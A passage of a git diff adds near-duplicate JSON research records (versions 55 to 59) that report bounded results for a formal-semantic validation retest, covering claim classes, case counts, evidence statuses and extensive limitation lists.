formal-semantic claim to this retained corpus." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against source that admits exact participant inject delivery temporal subjects. The bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v55.json b/docs/research/formal-semantic-validation/analysis-v55.json new file mode 100644 index 000000000..e9c638750 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v55.json @@ -0,0 +1,155 @@ +{ + "analysis_id": "issue-1361-analysis-v55", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v55.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1361-execution-v55", + "generated_at": "2026-09-26", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus." + ], + "plain_language_outcome": "Retained controls replay against the merged backend-operation source and the issue #1361 execution-authority admission. Prior claim limits and unsupported classes remain unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v56.json b/docs/research/formal-semantic-validation/analysis-v56.json new file mode 100644 index 000000000..f99f9011d --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v56.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-1365-analysis-v56", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v56.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1365-execution-v56", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained formal corpus does not install a provider or establish live effect realization." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against the API-424 contract publication source. Bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v57.json b/docs/research/formal-semantic-validation/analysis-v57.json new file mode 100644 index 000000000..139a4c2c5 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v57.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-1365-analysis-v57", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v57.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1365-execution-v57", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained formal corpus does not install a provider or establish live effect realization." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against the API-424 contract publication source. Bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v58.json b/docs/research/formal-semantic-validation/analysis-v58.json new file mode 100644 index 000000000..2b538e40e --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v58.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-1365-analysis-v58", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v58.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1365-execution-v58", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained formal corpus does not install a provider or establish live effect realization." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against the API-424 contract publication source. Bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v59.json b/docs/research/formal-semantic-validation/analysis-v59.json new file mode 100644 index 000000000..48ad1b07f --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v59.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-1365-analysis-v59", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v59.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + 